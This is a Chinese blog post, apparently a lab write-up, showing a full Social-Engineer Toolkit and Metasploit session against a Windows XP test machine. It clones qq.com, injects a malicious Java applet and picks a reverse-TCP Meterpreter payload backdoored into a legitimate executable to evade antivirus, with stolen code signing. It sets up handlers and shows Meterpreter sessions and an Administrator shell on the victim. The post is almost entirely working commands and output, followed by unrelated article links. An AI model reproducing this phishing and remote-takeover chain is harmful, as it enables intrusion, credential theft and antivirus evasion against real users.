metasploit的WEB攻击向量
来源:互联网 发布:微信充值琴岛通的软件 编辑:程序博客网 时间:2024/04/19 07:33
环境:BT5R3,XP SP3,IE6
XP要安装java,并且设置java环境变量
操作如下:
root@bt:/pentest/exploits/set# ./set .--. .--. .-----. : .--': .--'`-. .-' `. `. : `; : : _`, :: :__ : : `.__.'`.__.' :_; [---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] [---] Development Team: JR DePre (pr1me) [---] [---] Development Team: Joey Furr (j0fer) [---] [---] Development Team: Thomas Werth [---] [---] Development Team: Garland [---] [---] Version: 3.6 [---] [---] Codename: 'MMMMhhhhmmmmmmmmm' [---] [---] Report bugs: davek@trustedsec.com [---] [---] Follow me on Twitter: dave_rel1k [---] [---] Homepage: https://www.trustedsec.com [---] Welcome to the Social-Engineer Toolkit (SET). Your one stop shop for all of your social-engineering needs.. Join us on irc.freenode.net in channel #setoolkit The Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com Select from the menu: 1) Social-Engineering Attacks 2) Fast-Track Penetration Testing 3) Third Party Modules 4) Update the Metasploit Framework 5) Update the Social-Engineer Toolkit 6) Update SET configuration 7) Help, Credits, and About 99) Exit the Social-Engineer Toolkitset> 1 _______________________________ / _____/\_ _____/\__ ___/ \_____ \ | __)_ | | / \ | \ | | /_______ //_______ / |____| \/ \/ [---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] [---] Development Team: JR DePre (pr1me) [---] [---] Development Team: Joey Furr (j0fer) [---] [---] Development Team: Thomas Werth [---] [---] Development Team: Garland [---] [---] Version: 3.6 [---] [---] Codename: 'MMMMhhhhmmmmmmmmm' [---] [---] Report bugs: davek@trustedsec.com [---] [---] Follow me on Twitter: dave_rel1k [---] [---] Homepage: https://www.trustedsec.com [---] Welcome to the Social-Engineer Toolkit (SET). Your one stop shop for all of your social-engineering needs.. Join us on irc.freenode.net in channel #setoolkit The Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com Select from the menu: 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) SMS Spoofing Attack Vector 8) Wireless Access Point Attack Vector 9) QRCode Generator Attack Vector 10) Powershell Attack Vectors 11) Third Party Modules 99) Return back to the main menu.set> 2 The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim. The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload. The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload. The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website. The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different. The Man Left in the Middle Attack method was introduced by Kos and utilizes HTTP REFERER's in order to intercept fields and harvest data from them. You need to have an already vulnerable site and in- corporate <script src="http://YOURIP/">. This could either be from a compromised site or through XSS. The Web-Jacking Attack method was introduced by white_sheep, Emgent and the Back|Track team. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast. The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing, and the Man Left in the Middle attack all at once to see which is successful. 1) Java Applet Attack Method 2) Metasploit Browser Exploit Method 3) Credential Harvester Attack Method 4) Tabnabbing Attack Method 5) Man Left in the Middle Attack Method 6) Web Jacking Attack Method 7) Multi-Attack Web Method 8) Victim Web Profiler 9) Create or import a CodeSigning Certificate 99) Return to Main Menuset:webattack>1 The first method will allow SET to import a list of pre-defined web applications that it can utilize within the attack. The second method will completely clone a website of your choosing and allow you to utilize the attack vectors within the completely same web application you were attempting to clone. The third method allows you to import your own website, note that you should only have an index.html when using the import website functionality. 1) Web Templates 2) Site Cloner 3) Custom Import 99) Return to Webattack Menuset:webattack>2[-] NAT/Port Forwarding can be used in the cases where your SET machine is[-] not externally exposed and may be a different IP address than your reverse listener.set> Are you using NAT/Port Forwarding [yes|no]: no[-] Enter the IP address of your interface IP or if your using an external IP, what[-] will be used for the connection back and to house the web server (your interface address)set:webattack> IP address for the reverse connection:192.168.1.11[-] SET supports both HTTP and HTTPS[-] Example: http://www.thisisafakesite.comset:webattack> Enter the url to clone:http://www.qq.com[*] Cloning the website: http://www.qq.com[*] This could take a little bit...[*] Injecting Java Applet attack into the newly cloned website.[*] Filename obfuscation complete. Payload name is: NV6muev[*] Malicious java applet website prepped for deploymentWhat payload do you want to generate: Name: Description: 1) Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker 2) Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker 3) Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker 4) Windows Bind Shell Execute payload and create an accepting port on remote system 5) Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP Inline 6) Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline 7) Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter 8) Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports 9) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter 10) Windows Meterpreter Reverse DNS Use a hostname instead of an IP address and spawn Meterpreter 11) SE Toolkit Interactive Shell Custom interactive reverse toolkit designed for SET 12) SE Toolkit HTTP Reverse Shell Purely native HTTP shell with AES encryption support 13) RATTE HTTP Tunneling Payload Security bypass payload that will tunnel all comms over HTTP 14) ShellCodeExec Alphanum Shellcode This will drop a meterpreter payload through shellcodeexec (A/V Safe) 15) Import your own executable Specify a path for your own executableset:payloads>2Below is a list of encodings to try and bypass AV. Select one of the below, 'backdoored executable' is typically the best. 1) avoid_utf8_tolower (Normal) 2) shikata_ga_nai (Very Good) 3) alpha_mixed (Normal) 4) alpha_upper (Normal) 5) call4_dword_xor (Normal) 6) countdown (Normal) 7) fnstenv_mov (Normal) 8) jmp_call_additive (Normal) 9) nonalpha (Normal) 10) nonupper (Normal) 11) unicode_mixed (Normal) 12) unicode_upper (Normal) 13) alpha2 (Normal) 14) No Encoding (None) 15) Multi-Encoder (Excellent) 16) Backdoored Executable (BEST)set:encoding>16set:payloads> PORT of the listener [443]:[*] Generating x64-based powershell injection code...[*] Generating x86-based powershell injection code...[*] Finished generating powershell injection attack and is encoded to bypass execution restriction...[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...[*] Backdoor completed successfully. Payload is now hidden within a legit executable.[*] UPX Encoding is set to ON, attempting to pack the executable with UPX encoding.[-] Packing the executable and obfuscating PE file randomly, one moment.[*] Digital Signature Stealing is ON, hijacking a legit digital certificate[*] Generating OSX payloads through Metasploit...[*] Generating Linux payloads through Metasploit...***************************************************Web Server Launched. Welcome to the SET Web Attack.***************************************************[--] Tested on IE6, IE7, IE8, IE9, IE10, Safari, Opera, Chrome, and FireFox [--][*] Moving payload into cloned website.[*] The site has been moved. SET Web Server is now listening..[-] Launching MSF Listener...[-] This may take a few to load MSF...[-] ***[-] * WARNING: Database support has been disabled[-] *** ______________________________________________________________________________| || METASPLOIT CYBER MISSILE COMMAND V4 ||______________________________________________________________________________| \ / / \ . / / x \ / / \ / + / \ + / / * / / / . / X / / X / ### / # % # / ### . / . / . * . / * + * ^#### __ __ __ ####### __ __ __ ######## / \ / \ / \ ########### / \ / \ / \ ##################################################################################################################################################################### WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF ################################################################################# =[ metasploit v4.5.0-dev [core:4.5 api:1.0]+ -- --=[ 927 exploits - 499 auxiliary - 151 post+ -- --=[ 251 payloads - 28 encoders - 8 nops[*] Processing /pentest/exploits/set/src/program_junk/meta_config for ERB directives.resource (/pentest/exploits/set/src/program_junk/meta_config)> use exploit/multi/handlerresource (/pentest/exploits/set/src/program_junk/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcpPAYLOAD => windows/meterpreter/reverse_tcpresource (/pentest/exploits/set/src/program_junk/meta_config)> set LHOST 0.0.0.0LHOST => 0.0.0.0resource (/pentest/exploits/set/src/program_junk/meta_config)> set LPORT 443LPORT => 443resource (/pentest/exploits/set/src/program_junk/meta_config)> set ExitOnSession falseExitOnSession => falseresource (/pentest/exploits/set/src/program_junk/meta_config)> set AutoRunScript migrate -fAutoRunScript => migrate -fresource (/pentest/exploits/set/src/program_junk/meta_config)> exploit -j[*] Exploit running as background job.resource (/pentest/exploits/set/src/program_junk/meta_config)> use exploit/multi/handlerresource (/pentest/exploits/set/src/program_junk/meta_config)> set PAYLOAD osx/x86/shell_reverse_tcpPAYLOAD => osx/x86/shell_reverse_tcpresource (/pentest/exploits/set/src/program_junk/meta_config)> set LHOST 192.168.1.11LHOST => 192.168.1.11resource (/pentest/exploits/set/src/program_junk/meta_config)> set LPORT 8080LPORT => 8080[*] Started reverse handler on 0.0.0.0:443 [*] Starting the payload handler...resource (/pentest/exploits/set/src/program_junk/meta_config)> set InitialAutoRunScript post/osx/gather/enum_osxInitialAutoRunScript => post/osx/gather/enum_osxresource (/pentest/exploits/set/src/program_junk/meta_config)> set ExitOnSession falseExitOnSession => falseresource (/pentest/exploits/set/src/program_junk/meta_config)> exploit -j[*] Exploit running as background job.resource (/pentest/exploits/set/src/program_junk/meta_config)> use exploit/multi/handlerresource (/pentest/exploits/set/src/program_junk/meta_config)> set PAYLOAD linux/x86/shell/reverse_tcpPAYLOAD => linux/x86/shell/reverse_tcpresource (/pentest/exploits/set/src/program_junk/meta_config)> set LHOST 192.168.1.11LHOST => 192.168.1.11resource (/pentest/exploits/set/src/program_junk/meta_config)> set LPORT 8081[*] Started reverse handler on 192.168.1.11:8080 [*] Starting the payload handler...LPORT => 8081resource (/pentest/exploits/set/src/program_junk/meta_config)> set ExitOnSession falseExitOnSession => falseresource (/pentest/exploits/set/src/program_junk/meta_config)> exploit -j[*] Exploit running as background job.msf exploit(handler) > [*] Started reverse handler on 192.168.1.11:8081 [*] Starting the payload handler...
然后,在XP里用IE6打开http://192.168.1.11,打开了一个克隆的页面:
此时,BT5输出:
192.168.1.142 - - [28/Apr/2013 04:24:35] "GET / HTTP/1.1" 200 - 192.168.1.142 - - [28/Apr/2013 04:24:35] "GET /index.html HTTP/1.1" 200 -
书上说是会弹出来Java Applet,但是我测试的时候,是没有弹出来的,任务栏上有两个java的图标,点一下,就弹出来Java Applet了:
而BT5上输出:
192.168.1.142 - - [28/Apr/2013 04:24:56] "GET /Signed_Update.jar HTTP/1.1" 200 -
然后点击,BT5上就建立起连接了:
[*] Sending stage (752128 bytes) to 192.168.1.142[*] Meterpreter session 1 opened (192.168.1.11:443 -> 192.168.1.142:1486) at 2013-04-28 04:25:40 -0400[*] Session ID 1 (192.168.1.11:443 -> 192.168.1.142:1486) processing AutoRunScript 'migrate -f'[*] Current server process: 1jqihecmqvvdx.exe (1660)[*] Spawning notepad.exe process to migrate to192.168.1.142 - - [28/Apr/2013 04:25:47] "GET /NV6muev HTTP/1.1" 200 - ---------------------------------------- Exception happened during processing of request from ('192.168.1.142', 1487) [+] Migrating to 2168[*] Sending stage (752128 bytes) to 192.168.1.142[*] Meterpreter session 2 opened (192.168.1.11:443 -> 192.168.1.142:1488) at 2013-04-28 04:25:51 -0400[*] Session ID 2 (192.168.1.11:443 -> 192.168.1.142:1488) processing AutoRunScript 'migrate -f'[*] Current server process: 3e667mcoikze.exe (2188)[*] Spawning notepad.exe process to migrate to[+] Migrating to 2324[+] Successfully migrated to process msf exploit(handler) > [+] Successfully migrated to process msf exploit(handler) >
接着查看session,并进入其中一个:
msf exploit(handler) > sessions -lActive sessions=============== Id Type Information Connection -- ---- ----------- ---------- 1 meterpreter x86/win32 ROOT-9743DD32E3\Administrator @ ROOT-9743DD32E3 192.168.1.11:443 -> 192.168.1.142:1486 (192.168.1.142) 2 meterpreter x86/win32 ROOT-9743DD32E3\Administrator @ ROOT-9743DD32E3 192.168.1.11:443 -> 192.168.1.142:1488 (192.168.1.142)msf exploit(handler) > sessions -i 1[*] Starting interaction with 1...meterpreter > getuidServer username: ROOT-9743DD32E3\Administratormeterpreter > shellProcess 2420 created.Channel 1 created.Microsoft Windows XP [版本 5.1.2600](C) 版权所有 1985-2001 Microsoft Corp.C:\Documents and Settings\Administrator\桌面>
- metasploit的WEB攻击向量
- metasploit的客户端WEB攻击
- metasploit针对性钓鱼攻击向量入侵成功
- 实现一个Web版的类Metasploit的攻击框架
- metasploit 攻击成功的实例
- metasploit的令牌假冒攻击
- 初探Metasploit的自动攻击
- 初探Metasploit的自动攻击
- metasploit针对性钓鱼攻击向量(BT5R1失败)
- metasploit针对性钓鱼攻击向量(BT5R3失败)
- Metasploit 攻击
- Metasploit攻击Oracle的环境搭建
- 十大Web 2.0攻击向量
- 十大Web 2.0攻击向量
- 十大Web 2.0攻击向量
- 十大Web 2.0攻击向量
- 十大Web 2.0攻击向量
- metasploit 自动攻击
- RowDataBound事件
- Oracle5大类子语言
- javascript操作Excel知识点
- ASP.NET获取汉字拼音的首字母
- C++中的static、const、mutable用法学习
- metasploit的WEB攻击向量
- 总结一下以前的工作中遇到的问题1
- junit测试servlet
- IE9 : DOM Exception: INVALID_CHARACTER_ERR (5)
- jQuery插件之表单验证插件validationEngine(个人感觉好用)
- Entity Framework 4.1 DbContext使用记之二——如何玩转本地实体? DbSet.Local属性的使用与实现
- poj 3628 Bookshelf 2 (0/1背包)
- Python概述:C++程序员眼中的Python
- MVC3+EF4.1学习系列(十一)----EF4.1常见的问题解决